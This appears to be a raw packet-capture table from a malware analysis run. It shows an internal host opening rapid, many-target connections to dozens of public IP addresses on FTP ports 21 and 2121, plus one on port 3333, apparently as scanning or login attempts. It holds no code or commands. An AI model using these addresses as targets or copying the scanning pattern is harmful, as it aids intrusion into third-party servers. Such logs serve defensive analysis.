Aug 23, 2023 09:15:51.592808962 CEST	21	51278	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:51.595525980 CEST	21	51278	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:51.634139061 CEST	21	51250	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:51.635212898 CEST	21	51250	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:51.635241032 CEST	21	51250	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:51.635344982 CEST	51250	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:51.650259972 CEST	51250	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:51.650834084 CEST	51278	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:51.652090073 CEST	51301	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:51.675759077 CEST	21	51288	222.118.102.117	192.168.2.3
Aug 23, 2023 09:15:51.677405119 CEST	2121	51289	222.118.102.117	192.168.2.3
Aug 23, 2023 09:15:51.690859079 CEST	51302	2121	192.168.2.3	103.169.97.161
Aug 23, 2023 09:15:51.769797087 CEST	51281	2121	192.168.2.3	84.193.161.31
Aug 23, 2023 09:15:51.771904945 CEST	51303	2121	192.168.2.3	121.170.11.205
Aug 23, 2023 09:15:51.771945953 CEST	51304	21	192.168.2.3	121.170.11.205
Aug 23, 2023 09:15:51.784435034 CEST	51269	2121	192.168.2.3	119.207.52.134
Aug 23, 2023 09:15:51.784435034 CEST	51268	21	192.168.2.3	119.207.52.134
Aug 23, 2023 09:15:51.784460068 CEST	51243	2121	192.168.2.3	73.238.77.233
Aug 23, 2023 09:15:51.800419092 CEST	51305	21	192.168.2.3	73.148.42.210
Aug 23, 2023 09:15:51.809246063 CEST	2121	51281	84.193.161.31	192.168.2.3
Aug 23, 2023 09:15:51.816003084 CEST	51306	2121	192.168.2.3	73.148.42.210
Aug 23, 2023 09:15:51.823091984 CEST	21	51278	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:51.823379993 CEST	51278	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:51.850258112 CEST	21	51300	103.169.97.161	192.168.2.3
Aug 23, 2023 09:15:51.863464117 CEST	21	51250	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:51.865586042 CEST	21	51301	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:51.865699053 CEST	51301	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:51.956978083 CEST	2121	51302	103.169.97.161	192.168.2.3
Aug 23, 2023 09:15:51.971363068 CEST	51246	21	192.168.2.3	187.20.228.55
Aug 23, 2023 09:15:51.971378088 CEST	51244	21	192.168.2.3	39.55.235.73
Aug 23, 2023 09:15:51.971380949 CEST	51282	21	192.168.2.3	66.212.18.190
Aug 23, 2023 09:15:51.994904995 CEST	21	51278	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:51.995002985 CEST	21	51278	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:51.995079041 CEST	51278	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:51.995264053 CEST	51278	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:51.996000051 CEST	51307	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:52.028502941 CEST	21	51304	121.170.11.205	192.168.2.3
Aug 23, 2023 09:15:52.028672934 CEST	2121	51303	121.170.11.205	192.168.2.3
Aug 23, 2023 09:15:52.048857927 CEST	21	51268	119.207.52.134	192.168.2.3
Aug 23, 2023 09:15:52.049493074 CEST	51248	21	192.168.2.3	174.109.78.163
Aug 23, 2023 09:15:52.049787998 CEST	51308	21	192.168.2.3	112.164.122.172
Aug 23, 2023 09:15:52.050724983 CEST	2121	51269	119.207.52.134	192.168.2.3
Aug 23, 2023 09:15:52.051592112 CEST	51309	2121	192.168.2.3	112.164.122.172
Aug 23, 2023 09:15:52.065629959 CEST	51310	21	192.168.2.3	73.12.32.172
Aug 23, 2023 09:15:52.080782890 CEST	51247	2121	192.168.2.3	187.20.228.55
Aug 23, 2023 09:15:52.086111069 CEST	21	51301	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:52.086514950 CEST	51301	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:52.112867117 CEST	51311	2121	192.168.2.3	73.12.32.172
Aug 23, 2023 09:15:52.138343096 CEST	21	51282	66.212.18.190	192.168.2.3
Aug 23, 2023 09:15:52.143707037 CEST	51312	21	192.168.2.3	60.135.155.31
Aug 23, 2023 09:15:52.166538954 CEST	21	51278	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:52.167444944 CEST	21	51307	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:52.167761087 CEST	51307	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:52.284037113 CEST	51252	21	192.168.2.3	50.250.167.13
Aug 23, 2023 09:15:52.286102057 CEST	51313	2121	192.168.2.3	60.135.155.31
Aug 23, 2023 09:15:52.299765110 CEST	21	51301	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:52.362005949 CEST	51288	21	192.168.2.3	222.118.102.117
Aug 23, 2023 09:15:52.362020016 CEST	51251	2121	192.168.2.3	174.109.78.163
Aug 23, 2023 09:15:52.362027884 CEST	51289	2121	192.168.2.3	222.118.102.117
Aug 23, 2023 09:15:52.362029076 CEST	51300	21	192.168.2.3	103.169.97.161
Aug 23, 2023 09:15:52.370328903 CEST	21	51307	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:52.375695944 CEST	51307	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:52.429533005 CEST	21	51312	60.135.155.31	192.168.2.3
Aug 23, 2023 09:15:52.471446037 CEST	51302	2121	192.168.2.3	103.169.97.161
Aug 23, 2023 09:15:52.471513987 CEST	51253	2121	192.168.2.3	50.250.167.13
Aug 23, 2023 09:15:52.472039938 CEST	51314	21	192.168.2.3	216.78.151.113
Aug 23, 2023 09:15:52.547228098 CEST	21	51307	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:52.548336983 CEST	21	51307	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:52.549318075 CEST	51307	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:52.549560070 CEST	51254	21	192.168.2.3	23.62.35.5
Aug 23, 2023 09:15:52.549561977 CEST	51257	2121	192.168.2.3	104.162.108.92
Aug 23, 2023 09:15:52.549572945 CEST	51261	2121	192.168.2.3	72.213.110.137
Aug 23, 2023 09:15:52.549582958 CEST	51255	2121	192.168.2.3	23.62.35.5
Aug 23, 2023 09:15:52.549585104 CEST	51260	21	192.168.2.3	72.213.110.137
Aug 23, 2023 09:15:52.549590111 CEST	51256	21	192.168.2.3	104.162.108.92
Aug 23, 2023 09:15:52.573417902 CEST	2121	51313	60.135.155.31	192.168.2.3
Aug 23, 2023 09:15:52.580779076 CEST	51304	21	192.168.2.3	121.170.11.205
Aug 23, 2023 09:15:52.581161976 CEST	51262	21	192.168.2.3	70.59.19.122
Aug 23, 2023 09:15:52.581192017 CEST	51303	2121	192.168.2.3	121.170.11.205
Aug 23, 2023 09:15:52.599507093 CEST	51315	2121	192.168.2.3	216.78.151.113
Aug 23, 2023 09:15:52.620026112 CEST	21	51288	222.118.102.117	192.168.2.3
Aug 23, 2023 09:15:52.620100021 CEST	2121	51289	222.118.102.117	192.168.2.3
Aug 23, 2023 09:15:52.628628969 CEST	21	51300	103.169.97.161	192.168.2.3
Aug 23, 2023 09:15:52.674225092 CEST	51316	21	192.168.2.3	162.214.234.163
Aug 23, 2023 09:15:52.674897909 CEST	51317	2121	192.168.2.3	162.214.234.163
Aug 23, 2023 09:15:52.721687078 CEST	21	51307	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:52.735037088 CEST	51307	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:52.737190008 CEST	2121	51302	103.169.97.161	192.168.2.3
Aug 23, 2023 09:15:52.837039948 CEST	2121	51303	121.170.11.205	192.168.2.3
Aug 23, 2023 09:15:52.837122917 CEST	21	51304	121.170.11.205	192.168.2.3
Aug 23, 2023 09:15:52.853944063 CEST	21	51316	162.214.234.163	192.168.2.3
Aug 23, 2023 09:15:52.856992960 CEST	51316	21	192.168.2.3	162.214.234.163
Aug 23, 2023 09:15:52.907356977 CEST	21	51307	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:52.907382965 CEST	21	51307	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:52.907675982 CEST	51307	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:52.908942938 CEST	51307	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:52.912523031 CEST	51318	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:52.971453905 CEST	51312	21	192.168.2.3	60.135.155.31
Aug 23, 2023 09:15:53.037955999 CEST	21	51316	162.214.234.163	192.168.2.3
Aug 23, 2023 09:15:53.046941996 CEST	51316	21	192.168.2.3	162.214.234.163
Aug 23, 2023 09:15:53.049568892 CEST	51265	2121	192.168.2.3	88.133.71.59
Aug 23, 2023 09:15:53.049582958 CEST	51273	3333	192.168.2.3	141.95.206.77
Aug 23, 2023 09:15:53.049602985 CEST	51270	21	192.168.2.3	176.77.10.20
Aug 23, 2023 09:15:53.049731970 CEST	51264	21	192.168.2.3	88.133.71.59
Aug 23, 2023 09:15:53.049843073 CEST	51271	2121	192.168.2.3	176.77.10.20
Aug 23, 2023 09:15:53.054747105 CEST	51319	21	192.168.2.3	114.33.220.215
Aug 23, 2023 09:15:53.054836035 CEST	51321	2121	192.168.2.3	114.33.220.215
Aug 23, 2023 09:15:53.054857969 CEST	51320	21	192.168.2.3	168.151.79.144
Aug 23, 2023 09:15:53.055003881 CEST	51323	2121	192.168.2.3	62.82.33.207
Aug 23, 2023 09:15:53.055003881 CEST	51325	2121	192.168.2.3	81.16.2.45
Aug 23, 2023 09:15:53.055017948 CEST	51322	21	192.168.2.3	62.82.33.207
Aug 23, 2023 09:15:53.055017948 CEST	51324	21	192.168.2.3	81.16.2.45
Aug 23, 2023 09:15:53.055017948 CEST	51326	2121	192.168.2.3	168.151.79.144
Aug 23, 2023 09:15:53.055075884 CEST	51328	21	192.168.2.3	75.130.224.23
Aug 23, 2023 09:15:53.055083990 CEST	51327	2121	192.168.2.3	75.130.224.23
Aug 23, 2023 09:15:53.055473089 CEST	51329	21	192.168.2.3	78.81.185.148
Aug 23, 2023 09:15:53.080271006 CEST	21	51307	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:53.080831051 CEST	51267	2121	192.168.2.3	88.85.89.82
Aug 23, 2023 09:15:53.080867052 CEST	51272	21	192.168.2.3	81.247.0.217
Aug 23, 2023 09:15:53.080867052 CEST	51266	21	192.168.2.3	88.85.89.82
Aug 23, 2023 09:15:53.080930948 CEST	51263	2121	192.168.2.3	70.59.19.122
Aug 23, 2023 09:15:53.080954075 CEST	51313	2121	192.168.2.3	60.135.155.31
Aug 23, 2023 09:15:53.081629992 CEST	51330	2121	192.168.2.3	78.81.185.148
Aug 23, 2023 09:15:53.082597017 CEST	51331	21	192.168.2.3	137.203.129.111
Aug 23, 2023 09:15:53.083899975 CEST	21	51318	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:53.084053040 CEST	51318	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:53.125174999 CEST	2121	51325	81.16.2.45	192.168.2.3
Aug 23, 2023 09:15:53.125246048 CEST	21	51324	81.16.2.45	192.168.2.3
Aug 23, 2023 09:15:53.158942938 CEST	51288	21	192.168.2.3	222.118.102.117
Aug 23, 2023 09:15:53.158987045 CEST	51274	2121	192.168.2.3	81.247.0.217
Aug 23, 2023 09:15:53.158993006 CEST	51289	2121	192.168.2.3	222.118.102.117
Aug 23, 2023 09:15:53.159028053 CEST	51300	21	192.168.2.3	103.169.97.161
Aug 23, 2023 09:15:53.181679964 CEST	21	51331	137.203.129.111	192.168.2.3
Aug 23, 2023 09:15:53.191474915 CEST	51332	2121	192.168.2.3	137.203.129.111
Aug 23, 2023 09:15:53.225985050 CEST	21	51316	162.214.234.163	192.168.2.3
Aug 23, 2023 09:15:53.226063967 CEST	51316	21	192.168.2.3	162.214.234.163
Aug 23, 2023 09:15:53.227181911 CEST	21	51316	162.214.234.163	192.168.2.3
Aug 23, 2023 09:15:53.227247000 CEST	51316	21	192.168.2.3	162.214.234.163
Aug 23, 2023 09:15:53.253473043 CEST	51333	21	192.168.2.3	50.67.40.78
Aug 23, 2023 09:15:53.257399082 CEST	21	51312	60.135.155.31	192.168.2.3
Aug 23, 2023 09:15:53.266179085 CEST	21	51318	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:53.267072916 CEST	51318	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:53.273529053 CEST	51276	2121	192.168.2.3	76.255.10.110
Aug 23, 2023 09:15:53.283936977 CEST	51275	21	192.168.2.3	76.255.10.110
Aug 23, 2023 09:15:53.283963919 CEST	51277	21	192.168.2.3	186.43.240.166
Aug 23, 2023 09:15:53.284010887 CEST	51302	2121	192.168.2.3	103.169.97.161
Aug 23, 2023 09:15:53.289905071 CEST	2121	51332	137.203.129.111	192.168.2.3
Aug 23, 2023 09:15:53.300954103 CEST	21	51301	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:53.301465034 CEST	51301	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:53.320465088 CEST	21	51319	114.33.220.215	192.168.2.3
Aug 23, 2023 09:15:53.323051929 CEST	2121	51321	114.33.220.215	192.168.2.3
Aug 23, 2023 09:15:53.368484974 CEST	2121	51313	60.135.155.31	192.168.2.3
Aug 23, 2023 09:15:53.413258076 CEST	21	51288	222.118.102.117	192.168.2.3
Aug 23, 2023 09:15:53.413347006 CEST	2121	51289	222.118.102.117	192.168.2.3
Aug 23, 2023 09:15:53.414607048 CEST	51334	2121	192.168.2.3	50.67.40.78
Aug 23, 2023 09:15:53.414858103 CEST	51335	21	192.168.2.3	175.113.100.10
Aug 23, 2023 09:15:53.422207117 CEST	21	51300	103.169.97.161	192.168.2.3
Aug 23, 2023 09:15:53.425657988 CEST	51279	2121	192.168.2.3	186.43.240.166
Aug 23, 2023 09:15:53.425712109 CEST	51280	21	192.168.2.3	84.193.161.31
Aug 23, 2023 09:15:53.427526951 CEST	51336	2121	192.168.2.3	175.113.100.10
Aug 23, 2023 09:15:53.438314915 CEST	21	51318	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:53.440959930 CEST	21	51318	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:53.442218065 CEST	51337	21	192.168.2.3	86.15.105.215
Aug 23, 2023 09:15:53.442349911 CEST	51338	2121	192.168.2.3	86.15.105.215
Aug 23, 2023 09:15:53.442460060 CEST	51318	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:53.471580029 CEST	51304	21	192.168.2.3	121.170.11.205
Aug 23, 2023 09:15:53.471594095 CEST	51303	2121	192.168.2.3	121.170.11.205
Aug 23, 2023 09:15:53.514879942 CEST	21	51301	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:53.515075922 CEST	21	51301	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:53.515093088 CEST	21	51301	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:53.515147924 CEST	51301	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:53.515425920 CEST	51301	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:53.516297102 CEST	51339	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:53.547784090 CEST	51284	21	192.168.2.3	74.110.115.151
Aug 23, 2023 09:15:53.547875881 CEST	51285	2121	192.168.2.3	74.110.115.151
Aug 23, 2023 09:15:53.549768925 CEST	2121	51302	103.169.97.161	192.168.2.3
Aug 23, 2023 09:15:53.551335096 CEST	51340	21	192.168.2.3	192.151.232.126
Aug 23, 2023 09:15:53.580862045 CEST	51283	2121	192.168.2.3	66.212.18.190
Aug 23, 2023 09:15:53.614365101 CEST	21	51318	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:53.615144014 CEST	51318	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:53.662033081 CEST	51341	2121	192.168.2.3	192.151.232.126
Aug 23, 2023 09:15:53.693557024 CEST	2121	51336	175.113.100.10	192.168.2.3
Aug 23, 2023 09:15:53.708985090 CEST	21	51335	175.113.100.10	192.168.2.3
Aug 23, 2023 09:15:53.727840900 CEST	2121	51303	121.170.11.205	192.168.2.3
Aug 23, 2023 09:15:53.728229046 CEST	21	51304	121.170.11.205	192.168.2.3
Aug 23, 2023 09:15:53.728781939 CEST	21	51301	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:53.729944944 CEST	21	51339	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:53.730021954 CEST	51339	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:53.730060101 CEST	51342	21	192.168.2.3	180.68.96.206
Aug 23, 2023 09:15:53.731340885 CEST	51343	2121	192.168.2.3	180.68.96.206
Aug 23, 2023 09:15:53.783984900 CEST	51324	21	192.168.2.3	81.16.2.45
Aug 23, 2023 09:15:53.784003019 CEST	51331	21	192.168.2.3	137.203.129.111
Aug 23, 2023 09:15:53.784013987 CEST	51325	2121	192.168.2.3	81.16.2.45
Aug 23, 2023 09:15:53.784028053 CEST	51312	21	192.168.2.3	60.135.155.31
Aug 23, 2023 09:15:53.787774086 CEST	21	51318	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:53.787797928 CEST	21	51318	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:53.787861109 CEST	51318	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:53.788207054 CEST	51318	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:53.789019108 CEST	51344	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:53.853607893 CEST	21	51324	81.16.2.45	192.168.2.3
Aug 23, 2023 09:15:53.853626966 CEST	2121	51325	81.16.2.45	192.168.2.3
Aug 23, 2023 09:15:53.879503965 CEST	51345	21	192.168.2.3	184.82.194.162
Aug 23, 2023 09:15:53.880294085 CEST	51321	2121	192.168.2.3	114.33.220.215
Aug 23, 2023 09:15:53.880373001 CEST	51332	2121	192.168.2.3	137.203.129.111
Aug 23, 2023 09:15:53.940983057 CEST	51346	2121	192.168.2.3	184.82.194.162
Aug 23, 2023 09:15:53.954550028 CEST	21	51339	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:53.954927921 CEST	51339	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:53.959378004 CEST	21	51318	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:53.960155010 CEST	21	51344	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:53.960222960 CEST	51344	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:53.971561909 CEST	51319	21	192.168.2.3	114.33.220.215
Aug 23, 2023 09:15:53.971574068 CEST	51313	2121	192.168.2.3	60.135.155.31
Aug 23, 2023 09:15:54.010405064 CEST	21	51342	180.68.96.206	192.168.2.3
Aug 23, 2023 09:15:54.013000965 CEST	2121	51343	180.68.96.206	192.168.2.3
Aug 23, 2023 09:15:54.020765066 CEST	51347	21	192.168.2.3	80.76.156.239
Aug 23, 2023 09:15:54.034745932 CEST	51348	2121	192.168.2.3	80.76.156.239
Aug 23, 2023 09:15:54.070064068 CEST	21	51312	60.135.155.31	192.168.2.3
Aug 23, 2023 09:15:54.081265926 CEST	51349	21	192.168.2.3	138.229.218.213
Aug 23, 2023 09:15:54.095547915 CEST	21	51345	184.82.194.162	192.168.2.3
Aug 23, 2023 09:15:54.142306089 CEST	21	51344	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:54.145713091 CEST	51344	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:54.147677898 CEST	2121	51321	114.33.220.215	192.168.2.3
Aug 23, 2023 09:15:54.164573908 CEST	2121	51346	184.82.194.162	192.168.2.3
Aug 23, 2023 09:15:54.168256044 CEST	21	51339	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:54.223531008 CEST	51350	2121	192.168.2.3	138.229.218.213
Aug 23, 2023 09:15:54.223607063 CEST	51351	21	192.168.2.3	182.183.231.38
Aug 23, 2023 09:15:54.235966921 CEST	21	51319	114.33.220.215	192.168.2.3
Aug 23, 2023 09:15:54.258773088 CEST	2121	51313	60.135.155.31	192.168.2.3
Aug 23, 2023 09:15:54.259762049 CEST	51352	2121	192.168.2.3	182.183.231.38
Aug 23, 2023 09:15:54.316755056 CEST	21	51344	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:54.317960978 CEST	21	51344	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:54.318566084 CEST	51344	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:54.362185955 CEST	51335	21	192.168.2.3	175.113.100.10
Aug 23, 2023 09:15:54.362195015 CEST	51336	2121	192.168.2.3	175.113.100.10
Aug 23, 2023 09:15:54.377832890 CEST	51324	21	192.168.2.3	81.16.2.45
Aug 23, 2023 09:15:54.377944946 CEST	51325	2121	192.168.2.3	81.16.2.45
Aug 23, 2023 09:15:54.390060902 CEST	21	51351	182.183.231.38	192.168.2.3
Aug 23, 2023 09:15:54.390271902 CEST	51351	21	192.168.2.3	182.183.231.38
Aug 23, 2023 09:15:54.399553061 CEST	51353	21	192.168.2.3	189.191.52.5
Aug 23, 2023 09:15:54.426727057 CEST	51354	2121	192.168.2.3	189.191.52.5
Aug 23, 2023 09:15:54.426728010 CEST	51355	21	192.168.2.3	104.64.171.28
Aug 23, 2023 09:15:54.426729918 CEST	51356	2121	192.168.2.3	104.64.171.28
Aug 23, 2023 09:15:54.426853895 CEST	51357	21	192.168.2.3	173.177.27.226
Aug 23, 2023 09:15:54.447143078 CEST	21	51324	81.16.2.45	192.168.2.3
Aug 23, 2023 09:15:54.447592020 CEST	2121	51325	81.16.2.45	192.168.2.3
Aug 23, 2023 09:15:54.448625088 CEST	51358	2121	192.168.2.3	173.177.27.226
Aug 23, 2023 09:15:54.448651075 CEST	51359	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:54.480846882 CEST	2121	51359	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:54.480998039 CEST	51359	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:54.490360022 CEST	21	51344	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:54.491255999 CEST	51344	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:54.536626101 CEST	2121	51359	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:54.537355900 CEST	51359	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:54.549680948 CEST	51290	21	192.168.2.3	40.83.254.178
Aug 23, 2023 09:15:54.549701929 CEST	51291	2121	192.168.2.3	40.83.254.178
Aug 23, 2023 09:15:54.549705029 CEST	51296	21	192.168.2.3	51.103.42.26
Aug 23, 2023 09:15:54.549712896 CEST	51292	21	192.168.2.3	192.214.195.171
Aug 23, 2023 09:15:54.550163984 CEST	51293	2121	192.168.2.3	192.214.195.171
Aug 23, 2023 09:15:54.550173044 CEST	51297	2121	192.168.2.3	51.103.42.26
Aug 23, 2023 09:15:54.550760031 CEST	51360	21	192.168.2.3	38.53.111.195
Aug 23, 2023 09:15:54.551386118 CEST	51361	21	192.168.2.3	162.214.234.163
Aug 23, 2023 09:15:54.570818901 CEST	2121	51359	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:54.570837975 CEST	2121	51359	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:54.571770906 CEST	51359	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:54.580955029 CEST	51294	21	192.168.2.3	72.217.158.192
Aug 23, 2023 09:15:54.580966949 CEST	51299	21	192.168.2.3	71.12.170.200
Aug 23, 2023 09:15:54.580965996 CEST	51343	2121	192.168.2.3	180.68.96.206
Aug 23, 2023 09:15:54.580981970 CEST	51287	2121	192.168.2.3	174.51.137.195
Aug 23, 2023 09:15:54.580985069 CEST	51342	21	192.168.2.3	180.68.96.206
Aug 23, 2023 09:15:54.580993891 CEST	51295	2121	192.168.2.3	72.217.158.192
Aug 23, 2023 09:15:54.581039906 CEST	51286	21	192.168.2.3	174.51.137.195
Aug 23, 2023 09:15:54.581068039 CEST	51298	2121	192.168.2.3	71.12.170.200
Aug 23, 2023 09:15:54.593043089 CEST	21	51351	182.183.231.38	192.168.2.3
Aug 23, 2023 09:15:54.593234062 CEST	51351	21	192.168.2.3	182.183.231.38
Aug 23, 2023 09:15:54.596792936 CEST	51362	21	192.168.2.3	182.183.231.38
Aug 23, 2023 09:15:54.605299950 CEST	2121	51359	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:54.609268904 CEST	51359	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:54.628263950 CEST	2121	51336	175.113.100.10	192.168.2.3
Aug 23, 2023 09:15:54.642585039 CEST	2121	51359	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:54.642872095 CEST	2121	51359	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:54.643208981 CEST	51359	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:54.644203901 CEST	51359	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:54.647475004 CEST	51363	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:54.655467033 CEST	21	51335	175.113.100.10	192.168.2.3
Aug 23, 2023 09:15:54.659060955 CEST	51321	2121	192.168.2.3	114.33.220.215
Aug 23, 2023 09:15:54.662533045 CEST	21	51344	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:54.662549019 CEST	21	51344	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:54.662705898 CEST	51344	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:54.663428068 CEST	51344	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:54.669661999 CEST	51364	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:54.676136971 CEST	2121	51359	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:54.676496983 CEST	2121	51363	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:54.677495003 CEST	51363	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:54.721410036 CEST	21	51360	38.53.111.195	192.168.2.3
Aug 23, 2023 09:15:54.722126961 CEST	51360	21	192.168.2.3	38.53.111.195
Aug 23, 2023 09:15:54.733624935 CEST	21	51361	162.214.234.163	192.168.2.3
Aug 23, 2023 09:15:54.733795881 CEST	51361	21	192.168.2.3	162.214.234.163
Aug 23, 2023 09:15:54.764683008 CEST	21	51351	182.183.231.38	192.168.2.3
Aug 23, 2023 09:15:54.764867067 CEST	51351	21	192.168.2.3	182.183.231.38
Aug 23, 2023 09:15:54.765980959 CEST	21	51351	182.183.231.38	192.168.2.3
Aug 23, 2023 09:15:54.766144991 CEST	51351	21	192.168.2.3	182.183.231.38
Aug 23, 2023 09:15:54.768709898 CEST	21	51362	182.183.231.38	192.168.2.3
Aug 23, 2023 09:15:54.771784067 CEST	51362	21	192.168.2.3	182.183.231.38
Aug 23, 2023 09:15:54.784116030 CEST	51345	21	192.168.2.3	184.82.194.162
Aug 23, 2023 09:15:54.786142111 CEST	51319	21	192.168.2.3	114.33.220.215
Aug 23, 2023 09:15:54.786148071 CEST	51346	2121	192.168.2.3	184.82.194.162
Aug 23, 2023 09:15:54.834350109 CEST	21	51344	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:54.840890884 CEST	21	51364	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:54.843508959 CEST	51364	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:54.860753059 CEST	2121	51343	180.68.96.206	192.168.2.3
Aug 23, 2023 09:15:54.861716986 CEST	21	51342	180.68.96.206	192.168.2.3
Aug 23, 2023 09:15:54.872019053 CEST	2121	51363	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:54.877695084 CEST	51363	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:54.889615059 CEST	21	51360	38.53.111.195	192.168.2.3
Aug 23, 2023 09:15:54.891783953 CEST	51360	21	192.168.2.3	38.53.111.195
Aug 23, 2023 09:15:54.908415079 CEST	2121	51363	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:54.909046888 CEST	2121	51363	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:54.914263010 CEST	21	51361	162.214.234.163	192.168.2.3
Aug 23, 2023 09:15:54.914621115 CEST	51363	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:54.914763927 CEST	51361	21	192.168.2.3	162.214.234.163
Aug 23, 2023 09:15:54.926698923 CEST	2121	51321	114.33.220.215	192.168.2.3
Aug 23, 2023 09:15:54.942583084 CEST	51365	21	192.168.2.3	73.143.146.80
Aug 23, 2023 09:15:54.945429087 CEST	2121	51363	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:54.949445963 CEST	51363	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:54.971611023 CEST	51305	21	192.168.2.3	73.148.42.210
Aug 23, 2023 09:15:54.972673893 CEST	51306	2121	192.168.2.3	73.148.42.210
Aug 23, 2023 09:15:54.978944063 CEST	2121	51363	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:54.979279041 CEST	21	51362	182.183.231.38	192.168.2.3
Aug 23, 2023 09:15:54.979300976 CEST	2121	51363	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:54.979563951 CEST	51363	2121	192.168.2.3	95.85.215.156
